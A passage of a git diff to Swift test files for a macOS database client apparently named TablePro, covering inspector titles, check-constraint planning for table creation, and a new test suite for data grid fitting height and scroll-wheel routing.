     func largeCountsAreGrouped() {
         let subject = InspectorSubject.tableRow(
@@ -44,20 +44,39 @@ struct InspectorSubjectTests {
         #expect(subject.subtitle?.contains("3") == true)
     }
 
-    /// A schema grid's selection is a column definition, not a row of a result: it has no position
-    /// and no identity, so a subject that assumed one would render "Row 0 of 0" over a good column.
-    @Test("A column definition names the column, not a row")
+    @Test("A column definition names the column and its table")
     func columnDefinitionNamesTheColumn() {
-        let subject = InspectorSubject.columnDefinition(column: "user_id", table: "public.users")
+        let subject = InspectorSubject.definition(name: "user_id", section: .columns, table: "users")
         #expect(subject.title == "user_id")
-        #expect(subject.subtitle?.contains("public.users") == true)
+        #expect(subject.subtitle == String(format: String(localized: "Column of %@"), "users"))
     }
 
-    @Test("A column with no known table still names itself")
-    func columnWithoutTable() {
-        let subject = InspectorSubject.columnDefinition(column: "user_id", table: nil)
+    @Test("An index names itself as an index, not a column")
+    func indexIsNotAColumn() {
+        let subject = InspectorSubject.definition(name: "idx_email", section: .indexes, table: "users")
+        #expect(subject.title == "idx_email")
+        #expect(subject.subtitle == String(format: String(localized: "Index of %@"), "users"))
+    }
+
+    @Test("Foreign keys and check constraints say what they are")
+    func otherDefinitionKinds() {
+        let foreignKey = InspectorSubject.definition(name: "fk_user", section: .foreignKeys, table: "orders")
+        #expect(foreignKey.subtitle == String(format: String(localized: "Foreign Key of %@"), "orders"))
+        let check = InspectorSubject.definition(name: "positive_total", section: .checkConstraints, table: "orders")
+        #expect(check.subtitle == String(format: String(localized: "Check Constraint of %@"), "orders"))
+    }
+
+    @Test("A definition with no name yet reads as new")
+    func unnamedDefinitionIsNew() {
+        #expect(InspectorSubject.definition(name: "", section: .columns, table: "t").title == String(localized: "New Column"))
+        #expect(InspectorSubject.definition(name: "", section: .indexes, table: "t").title == String(localized: "New Index"))
+    }
+
+    @Test("A definition with no known table still names its kind")
+    func definitionWithoutTable() {
+        let subject = InspectorSubject.definition(name: "user_id", section: .foreignKeys, table: nil)
         #expect(subject.title == "user_id")
-        #expect(subject.subtitle != nil)
+        #expect(subject.subtitle == String(localized: "Foreign Key"))
     }
 
     @Test("A table with no row selected names the table")
diff --git a/apple/TableProTests/Models/MultiRowEditStateTests.swift b/apple/TableProTests/Models/MultiRowEditStateTests.swift
index 311c93b45d..ce162e198a 100644
--- a/apple/TableProTests/Models/MultiRowEditStateTests.swift
+++ b/apple/TableProTests/Models/MultiRowEditStateTests.swift
@@ -1029,104 +1029,6 @@ struct MultiRowEditStateTests {
         }
     }
 
-    @MainActor @Suite("Schema fields")
-    struct SchemaFields {
-        private func schemaFields() -> [InspectorRowField] {
-            [
-                InspectorRowField(name: "Name", value: "email", editor: .schemaText),
-                InspectorRowField(name: "Type", value: "VARCHAR(255)", editor: .typePicker),
-                InspectorRowField(name: "Nullable", value: "YES", editor: .enumPicker(values: ["YES", "NO"]),
-                                  isModified: true)
-            ]
-        }
-
-        @Test("Schema fields keep their editor, values, and committed-edit marker")
-        func configureCarriesFieldDescription() {
-            let sut = MultiRowEditState()
-            sut.configure(schemaFields: schemaFields(), displayRow: 2)
-
-            #expect(sut.fields.map(\.columnName) == ["Name", "Type", "Nullable"])
-            #expect(sut.fields.map(\.originalValue) == ["email", "VARCHAR(255)", "YES"])
-            #expect(sut.fields[1].editor == .typePicker)
-            #expect(sut.fields.allSatisfy { $0.isSchemaField })
-            #expect(sut.fields[2].hasCommittedEdit)
-            #expect(sut.fields[0].hasCommittedEdit == false)
-            #expect(sut.rowIDs.isEmpty)
-        }
-
-        @Test("A field the owning grid locks is shown without an editor")
-        func lockedSchemaFieldIsReadOnly() {
-            let sut = MultiRowEditState()
-            sut.configure(
-                schemaFields: [
-                    InspectorRowField(name: "Name", value: "email", editor: .schemaText),
-                    InspectorRowField(name: "Type", value: "text", editor: .typePicker, isEditable: false)
-                ],
-                displayRow: 0
-            )
-
-            #expect(sut.fields[0].isServerOwned == false)
-            #expect(sut.fields[1].isServerOwned)
-            #expect(InspectorFieldListView.isFieldEditable(sut.fields[0], kind: .schemaText, rowIsEditable: true))
-            #expect(!InspectorFieldListView.isFieldEditable(sut.fields[1], kind: .typePicker, rowIsEditable: true))
-        }
-
-        @Test("A committed schema edit is not a pending sidebar edit")
-        func schemaFieldsAreNotPendingEdits() {
-            let sut = MultiRowEditState()
-            sut.configure(schemaFields: schemaFields(), displayRow: 0)
-
-            #expect(sut.hasEdits == false)
-            #expect(sut.getEditedFields().isEmpty)
-        }
-
-        @Test("Reconfiguring the same row keeps field identity so editors keep focus")
-        func sameRowKeepsFieldIdentity() {
-            let sut = MultiRowEditState()
-            sut.configure(schemaFields: schemaFields(), displayRow: 1)
-            let ids = sut.fields.map(\.id)
-
-            sut.configure(schemaFields: schemaFields(), displayRow: 1)
-            #expect(sut.fields.map(\.id) == ids)
-        }
-
-        @Test("Selecting another row gives fresh editors")
-        func differentRowResetsFieldIdentity() {
-            let sut = MultiRowEditState()
-            sut.configure(schemaFields: schemaFields(), displayRow: 1)
-            let ids = sut.fields.map(\.id)
-
-            sut.configure(schemaFields: schemaFields(), displayRow: 2)
-            #expect(sut.fields.map(\.id) != ids)
-        }
-
-        @Test("Editing a schema field reports the new value to the owning grid")
-        func editReportsNewValue() {
-            let sut = MultiRowEditState()
-            sut.configure(schemaFields: schemaFields(), displayRow: 0)
-
-            var committed: [(Int, String?)] = []
-            sut.onFieldChanged = { index, value, _ in committed.append((index, value.asText)) }
-            sut.updateField(at: 0, value: "user_email")
-
-            #expect(committed.count == 1)
-            #expect(committed.first?.0 == 0)
-            #expect(committed.first?.1 == "user_email")
-        }
-
-        @Test("Retyping the existing value reports nothing")
-        func unchangedValueReportsNothing() {
-            let sut = MultiRowEditState()
-            sut.configure(schemaFields: schemaFields(), displayRow: 0)
-
-            var committed = 0
-            sut.onFieldChanged = { _, _, _ in committed += 1 }
-            sut.updateField(at: 0, value: "email")
-
-            #expect(committed == 0)
-        }
-    }
-
     // MARK: - Binary columns
 
     @MainActor @Suite("Binary columns")
diff --git a/apple/TableProTests/Models/PendingChangeKindTests.swift b/apple/TableProTests/Models/PendingChangeKindTests.swift
index a3efc3eeb9..f1fad5ca9b 100644
--- a/apple/TableProTests/Models/PendingChangeKindTests.swift
+++ b/apple/TableProTests/Models/PendingChangeKindTests.swift
@@ -166,4 +166,17 @@ struct PendingChangeKindTests {
             ) == nil
         )
     }
+
+    // A session previews only from its Structure view; lit over ALTERs staged behind Data, Preview showed nothing.
+    @Test("Preview SQL needs statements it can show")
+    func previewNeedsStatementsItCanShow() {
+        #expect(!PendingChangeKind.offersPreview(of: .structure, hasDataChanges: false, previewsSchemaChanges: false))
+        #expect(PendingChangeKind.offersPreview(of: .structure, hasDataChanges: false, previewsSchemaChanges: true))
+        #expect(PendingChangeKind.offersPreview(of: .structure, hasDataChanges: true, previewsSchemaChanges: false))
+        #expect(PendingChangeKind.offersPreview(of: .data, hasDataChanges: true, previewsSchemaChanges: false))
+        #expect(PendingChangeKind.offersPreview(of: .createTable, hasDataChanges: false, previewsSchemaChanges: false))
+        #expect(!PendingChangeKind.offersPreview(of: .file, hasDataChanges: false, previewsSchemaChanges: false))
+        #expect(!PendingChangeKind.offersPreview(of: .principals, hasDataChanges: false, previewsSchemaChanges: false))
+        #expect(!PendingChangeKind.offersPreview(of: nil, hasDataChanges: false, previewsSchemaChanges: false))
+    }
 }
diff --git a/apple/TableProTests/Models/ResultStatusModelTests.swift b/apple/TableProTests/Models/ResultStatusModelTests.swift
index a4f5471df5..f5a1cc3f23 100644
--- a/apple/TableProTests/Models/ResultStatusModelTests.swift
+++ b/apple/TableProTests/Models/ResultStatusModelTests.swift
@@ -17,7 +17,6 @@ struct ResultStatusModelTests {
         isValueFiltered: Bool = false,
         hasColumns: Bool? = nil,
         hasTableName: Bool = true,
-        hasStructureActions: Bool = false,
         pagination: PaginationState = PaginationState(),
         statusMessage: String? = nil
     ) -> StatusBarSnapshot {
@@ -35,7 +34,6 @@ struct ResultStatusModelTests {
                 hasTableName: hasTableName,
                 hasColumns: hasColumns ?? (rowCount > 0)
             ),
-            hasStructureActions: hasStructureActions,
             pagination: pagination,
             statusMessage: statusMessage
         )
@@ -396,18 +394,6 @@ struct ResultStatusModelTests {
         #expect(result.controls.showsColumns)
     }
 
-    /// The pair belongs to the structure list, so it appears only while that list is the content and
-    /// only once the structure editor has said what it can do.
-    @Test("The structure pair appears only in Structure mode, and only when published")
-    func structureActionsFollowTheMode() {
-        let published = makeSnapshot(rowCount: 9, hasStructureActions: true)
-        #expect(model(published, viewMode: .structure).controls.showsStructureActions)
-        #expect(!model(published, viewMode: .data).controls.showsStructureActions)
-
-        let unpublished = makeSnapshot(rowCount: 9, hasStructureActions: false)
-        #expect(!model(unpublished, viewMode: .structure).controls.showsStructureActions)
-    }
-
     @Test("A status message rides with the readout")
     func statusMessageFollowsReadout() {
         let withReadout = model(makeSnapshot(rowCount: 5, statusMessage: "OK"))
@@ -470,7 +456,6 @@ struct ResultStatusModelTests {
             controls.showsFilters,
             controls.showsPagination,
             controls.showsFetchAll,
-            controls.showsStructureActions,
             controls.showsSelectionSummary,
         ]
     }
diff --git a/apple/TableProTests/Models/Schema/CreateTableDraftBuilderTests.swift b/apple/TableProTests/Models/Schema/CreateTableDraftBuilderTests.swift
index dbabf4b9b5..77ec1727e8 100644
--- a/apple/TableProTests/Models/Schema/CreateTableDraftBuilderTests.swift
+++ b/apple/TableProTests/Models/Schema/CreateTableDraftBuilderTests.swift
@@ -47,10 +47,15 @@ struct CreateTableDraftBuilderTests {
         )
     }
 
+    private func check(_ name: String, _ expression: String) -> EditableCheckConstraintDefinition {
+        EditableCheckConstraintDefinition(id: UUID(), name: name, expression: expression, columns: [], isValidated: true)
+    }
+
     private func plan(
         columns: [EditableColumnDefinition] = [],
         indexes: [EditableIndexDefinition] = [],
         foreignKeys: [EditableForeignKeyDefinition] = [],
+        checkConstraints: [EditableCheckConstraintDefinition] = [],
         databaseType: DatabaseType = .sqlite,
         tableName: String = "child"
     ) -> CreateTablePlan {
@@ -60,6 +65,7 @@ struct CreateTableDraftBuilderTests {
             columns: columns.isEmpty ? [column("id"), column("parent_id")] : columns,
             indexes: indexes,
             foreignKeys: foreignKeys,
+            checkConstraints: checkConstraints,
             dialect: ForeignKeyDialect.forType(databaseType),
             includesEngineOptions: false
         )
@@ -118,7 +124,7 @@ struct CreateTableDraftBuilderTests {
     func unnamedIndexIsReported() {
         let result = plan(indexes: [index(name: "")])
         #expect(result.indexes.isEmpty)
-        #expect(result.issues.contains { $0.tab == .indexes })
+        #expect(result.issues.contains { $0.section == .indexes })
         #expect(!result.isReadyToCreate)
     }
 
@@ -158,14 +164,14 @@ struct CreateTableDraftBuilderTests {
     @Test("a foreign key with no referenced table is reported")
     func missingReferencedTableIsReported() {
         let result = plan(foreignKeys: [foreignKey(referencedTable: "")])
-        #expect(result.issues.contains { $0.tab == .foreignKeys })
+        #expect(result.issues.contains { $0.section == .foreignKeys })
         #expect(result.definition?.foreignKeys.isEmpty == true)
     }
 
     @Test("a foreign key naming a column the table lacks is reported")
     func unknownColumnIsReported() {
         let result = plan(foreignKeys: [foreignKey(columns: ["nope"])])
-        #expect(result.issues.contains { $0.tab == .foreignKeys })
+        #expect(result.issues.contains { $0.section == .foreignKeys })
     }
 
     @Test("mismatched composite column counts are reported")
@@ -174,13 +180,13 @@ struct CreateTableDraftBuilderTests {
             columns: [column("id"), column("a"), column("b")],
             foreignKeys: [foreignKey(columns: ["a", "b"], referencedColumns: ["id"])]
         )
-        #expect(result.issues.contains { $0.tab == .foreignKeys })
+        #expect(result.issues.contains { $0.section == .foreignKeys })
     }
 
     @Test("a duplicate column name is reported")
     func duplicateColumnIsReported() {
         let result = plan(columns: [column("id"), column("id")])
-        #expect(result.issues.contains { $0.tab == .columns })
+        #expect(result.issues.contains { $0.section == .columns })
     }
 
     @Test("a table with no name is reported")
@@ -203,13 +209,13 @@ struct CreateTableDraftBuilderTests {
     @Test("MySQL reports a foreign key with no referenced columns")
     func mysqlRequiresReferencedColumns() {
         let result = plan(foreignKeys: [foreignKey(referencedColumns: [])], databaseType: .mysql)
-        #expect(result.issues.contains { $0.tab == .foreignKeys })
+        #expect(result.issues.contains { $0.section == .foreignKeys })
     }
 
     @Test("DuckDB reports ON DELETE CASCADE")
     func duckdbRejectsCascade() {
         let result = plan(foreignKeys: [foreignKey(onDelete: .cascade)], databaseType: .duckdb)
-        #expect(result.issues.contains { $0.tab == .foreignKeys })
+        #expect(result.issues.contains { $0.section == .foreignKeys })
     }
 
     @Test("SQLite accepts ON DELETE CASCADE")
@@ -221,7 +227,7 @@ struct CreateTableDraftBuilderTests {
     @Test("SQLite reports a referenced table in another schema")
     func sqliteRejectsQualifiedReference() {
         let result = plan(foreignKeys: [foreignKey(referencedSchema: "other")], databaseType: .sqlite)
-        #expect(result.issues.contains { $0.tab == .foreignKeys })
+        #expect(result.issues.contains { $0.section == .foreignKeys })
     }
 
     /// Every foreign key starts at `.noAction`, and Oracle, Dameng and Teradata declare an empty
@@ -430,4 +436,50 @@ struct CreateTableDraftBuilderTests {
         #expect(seeded.collation == "latin1_bin")
         #expect(seeded.engine == "MyISAM")
     }
+
+    // MARK: - Check constraints
+
+    @Test("A named check with an expression is planned, trimmed, after the CREATE")
+    func completeCheckIsPlanned() {
+        let result = plan(checkConstraints: [check(" positive_id ", " id > 0\n")])
+        #expect(result.issues.isEmpty)
+        #expect(result.checkConstraints.map { $0.name } == ["positive_id"])
+        #expect(result.checkConstraints.map { $0.expression } == ["id > 0"])
+    }
+
+    @Test("A blank check row is ignored")
+    func blankCheckIsIgnored() {
+        let result = plan(checkConstraints: [check("", "  ")])
+        #expect(result.issues.isEmpty)
+        #expect(result.checkConstraints.isEmpty)
+    }
+
+    @Test("A begun check names what it lacks on its own row", arguments: [("", "id > 0"), ("positive_id", "")])
+    func incompleteCheckIsReported(name: String, expression: String) {
+        let result = plan(checkConstraints: [check("", ""), check(name, expression)])
+        #expect(result.checkConstraints.isEmpty)
+        #expect(result.issues.map { $0.section } == [.checkConstraints])
+        #expect(result.issues.first?.row == 1)
+        #expect(!result.isReadyToCreate)
+    }
+
+    @Test("A second check with the same name is flagged on its own row")
+    func duplicateCheckNameIsReported() {
+        let result = plan(checkConstraints: [check("positive", "id > 0"), check("", ""), check("positive", "id < 9")])
+        #expect(result.issues.count == 1)
+        #expect(result.issues.first?.section == .checkConstraints)
+        #expect(result.issues.first?.row == 2)
+    }
+
+    @Test("Planned indexes and checks keep the working rows they came from")
+    func plannedRowsMapToWorkingRows() {
+        let result = plan(
+            indexes: [index(name: "", columns: []), index(name: "idx_parent")],
+            checkConstraints: [check("", ""), check("", ""), check("positive", "id > 0")]
+        )
+        #expect(result.indexRows == [1])
+        #expect(result.indexRow(at: 0) == 1)
+        #expect(result.checkConstraintRows == [2])
+        #expect(result.checkConstraintRow(at: 0) == 2)
+    }
 }
diff --git a/apple/TableProTests/Models/Schema/CreateTableFormStateTests.swift b/apple/TableProTests/Models/Schema/CreateTableFormStateTests.swift
index dc691bfe1d..f5ee9187f0 100644
--- a/apple/TableProTests/Models/Schema/CreateTableFormStateTests.swift
+++ b/apple/TableProTests/Models/Schema/CreateTableFormStateTests.swift
@@ -409,9 +409,17 @@ struct CreateTableFormStateTests {
 
 @MainActor
 struct CreateTableDraftFormTests {
+    private func makeDraft() -> CreateTableDraft {
+        let connection = TestFixtures.makeConnection(type: .postgresql)
+        return CreateTableDraft(
+            connection: connection,
+            scope: DatabaseScope(connectionId: connection.id, database: "shop", schema: nil)
+        )
+    }
+
     @Test("A draft resolves its form once and keeps it")
     func resolvesFormOnce() {
-        let draft = CreateTableDraft()
+        let draft = makeDraft()
         #expect(!draft.hasResolvedForm)
 
         draft.resolveForm(from: FormFixture.spec)
@@ -425,7 +433,7 @@ struct CreateTableDraftFormTests {
 
     @Test("Renaming the table clears what the driver said about the last attempt")
     func renameClearsSubmissionError() {
-        let draft = CreateTableDraft()
+        let draft = makeDraft()
         draft.resolveForm(from: FormFixture.spec)
         draft.tableName = "a"
         draft.form?.recordSubmissionError(PluginCreateTableFormError(message: "A table name is too short"))
@@ -437,19 +445,35 @@ struct CreateTableDraftFormTests {
         #expect(draft.form?.submissionError == nil)
     }
 
-    @Test("A driver without a form leaves the draft on the column grid")
+    @Test("A driver without a form leaves the draft on the definition, seeded with one blank column")
     func noSpecMeansGrid() {
-        let draft = CreateTableDraft()
+        let draft = makeDraft()
 
         draft.resolveForm(from: nil)
 
         #expect(draft.hasResolvedForm)
         #expect(draft.form == nil)
+        #expect(draft.changeManager.workingColumns.count == 1)
+        #expect(draft.editor.adapter(for: .columns).visibleRowCount == 1)
+        #expect(!draft.holdsWork)
+    }
+
+    @Test("A driver's form takes no definition commands and seeds no column")
+    func formTakesNoDefinitionCommands() {
+        let draft = makeDraft()
+        draft.resolveForm(from: FormFixture.spec)
+
+        draft.addRow()
+
+        #expect(!draft.canAddRow)
+        #expect(!draft.canUndo)
+        #expect(draft.changeManager.workingColumns.isEmpty)
+        #expect(draft.activeGridModel == nil)
     }
 
     @Test("An edited form counts as work worth protecting")
     func editedFormHoldsWork() {
-        let draft = CreateTableDraft()
+        let draft = makeDraft()
         draft.resolveForm(from: FormFixture.spec)
         #expect(!draft.holdsWork)
 
diff --git a/apple/TableProTests/Views/DataGrid/DataGridFittingHeightTests.swift b/apple/TableProTests/Views/DataGrid/DataGridFittingHeightTests.swift
new file mode 100644
index 0000000000..6793212aac
--- /dev/null
+++ b/apple/TableProTests/Views/DataGrid/DataGridFittingHeightTests.swift
@@ -0,0 +1,336 @@
+//
+//  DataGridFittingHeightTests.swift
+//  TableProTests
+//
+
+import AppKit
+@testable import TablePro
+import TableProPluginKit
+import TableProTestSupport
+import Testing
+
+@MainActor
+private final class RecordingPageScrollView: NSScrollView {
+    private(set) var wheelEvents: [NSEvent] = []
+
+    override func scrollWheel(with event: NSEvent) {
+        wheelEvents.append(event)
+    }
+}
+
+@MainActor
+private final class FlippedPageDocument: NSView {
+    override var isFlipped: Bool { true }
+}
+
+// A fitsRows grid laid on a page that scrolls vertically, sized the way DataGridView sizes it.
+@MainActor
+private final class PagedGrid {
+    let grid: HostedDataGrid
+    let page = RecordingPageScrollView(frame: .zero)
+    private let document = FlippedPageDocument(frame: .zero)
+    private let gridTop: CGFloat
+
+    init(rows: TableRows, gridTop: CGFloat = 0) {
+        var configuration = DataGridConfiguration()
+        configuration.fitsRows = true
+        grid = HostedDataGrid(rows: rows, configuration: configuration)
+        self.gridTop = gridTop
+        page.hasVerticalScroller = true
+        page.documentView = document
+        let gridView = grid.controller.view
+        gridView.removeFromSuperview()
+        gridView.autoresizingMask = []
+        document.addSubview(gridView)
+        grid.window.contentView = page
+        fit()
+    }
+
+    // What SwiftUI does with the published height, applied now.
+    func fit() {
+        for _ in 0..<2 {
+            let height = grid.controller.measuredFittingHeight
+            grid.controller.view.frame = NSRect(x: 0, y: gridTop, width: page.bounds.width, height: height)
+            document.frame = NSRect(x: 0, y: 0, width: page.bounds.width, height: gridTop + height + page.bounds.height)
+            grid.layout()
+        }
+    }
+
+    func rowRectOnPage(_ row: Int) -> NSRect {
+        document.convert(grid.main.rect(ofRow: row), from: grid.main)
+    }
+
+    func showsOnPage(row: Int) -> Bool {
+        let rect = rowRectOnPage(row)
+        let visible = page.documentVisibleRect
+        return rect.minY >= visible.minY - 0.5 && rect.maxY <= visible.maxY + 0.5
+    }
+
+    var gridOffset: CGFloat {
+        grid.mainScrollView.contentView.bounds.origin.y + grid.controller.headerInset
+    }
+
+    func close() {
+        grid.close()
+    }
+}
+
+@MainActor
+struct DataGridFittingHeightTests {
+    private static var fitsRows: DataGridConfiguration {
+        var configuration = DataGridConfiguration()
+        configuration.fitsRows = true
+        return configuration
+    }
+
+    private func nextMainTurn() async {
+        await withCheckedContinuation { continuation in
+            DispatchQueue.main.async { continuation.resume() }
+        }
+    }
+
+    private struct WheelStep {
+        var phase: NSEvent.Phase = []
+        var momentum: NSEvent.Phase = []
+        var dx: CGFloat = 0
+        var dy: CGFloat = 0
+    }
+
+    private static func routedAxes(_ steps: [WheelStep]) -> [DataGridWheelRouting.Axis] {
+        var routing = DataGridWheelRouting()
+        return steps.map { routing.axis(phase: $0.phase, momentumPhase: $0.momentum, deltaX: $0.dx, deltaY: $0.dy) }
+    }
+
+    private func wheel(dx: Int32 = 0, dy: Int32 = 0, phase: CGScrollPhase? = nil, momentum: CGMomentumScrollPhase? = nil) throws -> NSEvent {
+        let event = try #require(CGEvent(scrollWheelEvent2Source: nil, units: .pixel, wheelCount: 2, wheel1: dy, wheel2: dx, wheel3: 0))
+        if let phase {
+            event.setIntegerValueField(.scrollWheelEventScrollPhase, value: Int64(phase.rawValue))
+        }
+        if let momentum {
+            event.setIntegerValueField(.scrollWheelEventMomentumPhase, value: Int64(momentum.rawValue))
+        }
+        return try #require(NSEvent(cgEvent: event))
+    }
+
+    // MARK: - Height
+
+    @Test("A grid is as tall as its header and rows")
+    func heightIsHeaderPlusRows() {
+        let height = DataGridMetrics.fittingHeight(headerHeight: 28, rowCount: 5, rowPitch: 24, horizontalScrollerHeight: 0)
+
+        #expect(height == 148)
+    }
+
+    @Test("A legacy horizontal scroller adds its height below the rows")
+    func legacyScrollerAddsItsHeight() {
+        let height = DataGridMetrics.fittingHeight(headerHeight: 28, rowCount: 5, rowPitch: 24, horizontalScrollerHeight: 15)
+
+        #expect(height == 163)
+    }
+
+    @Test("A grid with no rows is as tall as its header")
+    func emptyGridIsItsHeader() {
+        #expect(DataGridMetrics.fittingHeight(headerHeight: 28, rowCount: 0, rowPitch: 24, horizontalScrollerHeight: 0) == 28)
+        #expect(DataGridMetrics.fittingHeight(headerHeight: 28, rowCount: -1, rowPitch: 24, horizontalScrollerHeight: 0) == 28)
+    }
+
+    @Test("A grid scrolls vertically itself unless it is told to fit its rows")
+    func fitsRowsIsOffByDefault() {
+        #expect(!DataGridConfiguration().fitsRows)
+    }
+
+    @Test("A grid that fits its rows publishes their height and follows inserts and removes")
+    func publishedHeightFollowsTheRows() async throws {
+        let grid = HostedDataGrid(rows: GridFixtureRows.people, configuration: Self.fitsRows)
+        defer { grid.close() }
+        let pitch = grid.main.rowHeight + grid.main.intercellSpacing.height
+        let header = try #require(grid.main.headerView).frame.height
+
+        try await waitUntil { grid.model.fittingHeight == header + 5 * pitch + grid.mainScrollView.legacyHorizontalScrollerHeight }
+        let fiveRows = grid.model.fittingHeight
+
+        grid.model.apply(grid.owner.tableRows.appendInsertedRow(values: [.text("5"), .text("fay"), .text("29")]))
+        try await waitUntil { grid.model.fittingHeight == fiveRows + pitch }
+
+        grid.model.apply(grid.owner.tableRows.remove(rowIDs: [.existing(0), .existing(1)]))
+        try await waitUntil { grid.model.fittingHeight == fiveRows - pitch }
+    }
+
+    @Test("A grid that fits its rows drops its vertical scroller and bounce and keeps its horizontal scroll")
+    func fitsRowsScrollsOnlySideways() {
+        let grid = HostedDataGrid(rows: GridFixtureRows.people, configuration: Self.fitsRows)
+        defer { grid.close() }
+
+        #expect(!grid.mainScrollView.hasVerticalScroller)
+        #expect(grid.mainScrollView.verticalScrollElasticity == .none)
+        #expect(grid.mainScrollView.hasHorizontalScroller)
+        #expect(grid.mainScrollView.horizontalScrollElasticity != .none)
+    }
+
+    @Test("A grid that scrolls itself keeps its scrollers and never publishes a height")
+    func defaultGridIsUnchanged() async {
+        let grid = HostedDataGrid(rows: GridFixtureRows.people)
+        defer { grid.close() }
+
+        await nextMainTurn()
+
+        #expect(grid.mainScrollView.hasVerticalScroller)
+        #expect(grid.mainScrollView.verticalScrollElasticity == .automatic)
+        #expect(grid.model.fittingHeight == 0)
+    }
+
+    @Test("Turning fitsRows on for a mounted grid removes its vertical scroller and publishes its height")
+    func turningFitsRowsOnApplies() async throws {
+        let grid = HostedDataGrid(rows: GridFixtureRows.people)
+        defer { grid.close() }
+
+        grid.model.configuration.fitsRows = true
+
+        #expect(!grid.mainScrollView.hasVerticalScroller)
+        try await waitUntil { grid.model.fittingHeight == grid.controller.measuredFittingHeight }
+        #expect(grid.model.fittingHeight > 0)
+    }
+
+    // MARK: - Wheel axis
+
+    @Test("A mouse wheel decides its axis notch by notch")
+    func mouseWheelDecidesPerEvent() {
+        let axes = Self.routedAxes([
+            WheelStep(dy: -10),
+            WheelStep(dx: 12, dy: 1),
+            WheelStep(dx: 1, dy: 6),
+        ])
+
+        #expect(axes == [.vertical, .horizontal, .vertical])
+    }
+
+    @Test("A sideways swipe stays sideways through its later moves and momentum")
+    func horizontalGestureKeepsItsAxis() {
+        let axes = Self.routedAxes([
+            WheelStep(phase: .began, dx: 9, dy: 2),
+            WheelStep(phase: .changed, dx: 1, dy: 9),
+            WheelStep(phase: .ended),
+            WheelStep(momentum: .began, dx: 1, dy: 9),
+            WheelStep(momentum: .changed, dy: 9),
+            WheelStep(momentum: .ended),
+        ])
+
+        #expect(axes == Array(repeating: .horizontal, count: 6))
+    }
+
+    @Test("A vertical swipe stays vertical through its later moves")
+    func verticalGestureKeepsItsAxis() {
+        let axes = Self.routedAxes([
+            WheelStep(phase: .began, dx: 1, dy: 8),
+            WheelStep(phase: .changed, dx: 9, dy: 1),
+            WheelStep(momentum: .began, dx: 9),
+        ])
+
+        #expect(axes == [.vertical, .vertical, .vertical])
+    }
+
+    @Test("Each swipe decides again, and a resting touch leaves the decision to the first move")
+    func eachGestureDecidesAgain() {
+        let axes = Self.routedAxes([
+            WheelStep(phase: .began, dx: 1, dy: 8),
+            WheelStep(phase: .ended),
+            WheelStep(phase: .mayBegin),
+            WheelStep(phase: .began),
+            WheelStep(phase: .changed, dx: 7, dy: 1),
+            WheelStep(phase: .changed, dy: 7),
+        ])
+
+        #expect(axes == [.vertical, .vertical, .vertical, .vertical, .horizontal, .horizontal])
+    }
+
+    // MARK: - Page
+
+    @Test("A vertical wheel over a grid that fits its rows scrolls the page, a sideways one the grid")
+    func verticalWheelGoesToThePage() throws {
+        let paged = PagedGrid(rows: GridFixtureRows.wide(rows: 30, columns: 3))
+        defer { paged.close() }
+
+        paged.grid.mainScrollView.scrollWheel(with: try wheel(dy: -10))
+        #expect(paged.page.wheelEvents.count == 1)
+
+        paged.grid.mainScrollView.scrollWheel(with: try wheel(dx: -12, dy: 1))
+        #expect(paged.page.wheelEvents.count == 1)
+
+        paged.grid.frozenScrollView.scrollWheel(with: try wheel(dy: 10))
+        #expect(paged.page.wheelEvents.count == 2)
+    }
+
+    @Test("A swipe goes to one owner for its whole length")
+    func gestureIsNotSplit() throws {
+        let paged = PagedGrid(rows: GridFixtureRows.wide(rows: 30, columns: 3))
+        defer { paged.close() }
+        let scrollView = paged.grid.mainScrollView
+
+        scrollView.scrollWheel(with: try wheel(dx: -9, dy: 2, phase: .began))
+        scrollView.scrollWheel(with: try wheel(dx: -1, dy: 9, phase: .changed))
+        scrollView.scrollWheel(with: try wheel(phase: .ended))
+        scrollView.scrollWheel(with: try wheel(dx: -1, dy: 9, momentum: .begin))
+        #expect(paged.page.wheelEvents.isEmpty)
+
+        scrollView.scrollWheel(with: try wheel(dx: 1, dy: -8, phase: .began))
+        scrollView.scrollWheel(with: try wheel(dx: -9, dy: 1, phase: .changed))
+        scrollView.scrollWheel(with: try wheel(dx: -9, dy: 1, momentum: .continuous))
+        #expect(paged.page.wheelEvents.count == 3)
+    }
+
+    @Test("Revealing a row scrolls the page to it and leaves the grid at its first row")
+    func revealScrollsThePage() {
+        let paged = PagedGrid(rows: GridFixtureRows.wide(rows: 30, columns: 3))
+        defer { paged.close() }
+        #expect(!paged.showsOnPage(row: 29))
+
+        paged.grid.model.reveal(rowID: .existing(29))
+
+        #expect(paged.showsOnPage(row: 29))
+        #expect(paged.gridOffset == 0)
+    }
+
+    // AppKit asks the table to keep a header-spanning rect in view while the pane resizes; that moved the page before.
+    @Test("A resize's own scrollToVisible on the table leaves the page where it is")
+    func appKitScrollToVisibleLeavesThePage() {
+        let paged = PagedGrid(rows: GridFixtureRows.wide(rows: 30, columns: 3), gridTop: 80)
+        defer { paged.close() }
+        let before = paged.page.documentVisibleRect.minY
+
+        _ = paged.grid.main.scrollToVisible(NSRect(x: 0, y: -28, width: 600, height: 292))
+
+        #expect(paged.page.documentVisibleRect.minY == before)
+    }
+
+    @Test("A row the arrow keys move to is brought onto the page")
+    func arrowKeyScrollsThePage() throws {
+        let paged = PagedGrid(rows: GridFixtureRows.wide(rows: 30, columns: 3))
+        defer { paged.close() }
+        paged.grid.focus()
+        paged.grid.model.selectCell(GridCoord(row: 25, displayColumn: 0))
+        #expect(!paged.showsOnPage(row: 26))
+
+        let downArrow = try #require(UnicodeScalar(NSDownArrowFunctionKey))
+        try #require(paged.grid.press(String(Character(downArrow)), keyCode: KeyCode.downArrow.rawValue))
+
+        #expect(paged.grid.main.selectedRow == 26)
+        #expect(paged.showsOnPage(row: 26))
+        #expect(paged.gridOffset == 0)
+    }
+
+    @Test("A row the grid just took is revealed once the page has grown to it")
+    func revealWaitsForTheGridToGrow() async throws {
+        let paged = PagedGrid(rows: GridFixtureRows.wide(rows: 30, columns: 3))
+        defer { paged.close() }
+
+        paged.grid.model.apply(paged.grid.owner.tableRows.appendInsertedRow(values: Array(repeating: PluginCellValue.text("new"), count: 3)))
+        let inserted = try #require(paged.grid.model.rowID(at: 30))
+        paged.grid.model.reveal(rowID: inserted)
+        #expect(paged.gridOffset == 0)
+
+        paged.fit()
+
+        try await waitUntil { paged.showsOnPage(row: 30) }
+        #expect(paged.gridOffset == 0)
+    }
+}
diff --git a/apple/TableProTests/Views/Main/CommandActionsDispatchTests.swift b/apple/TableProTests/Views/Main/CommandActionsDispatchTests.swift
index ccc647cc31..0e44f56a86 100644
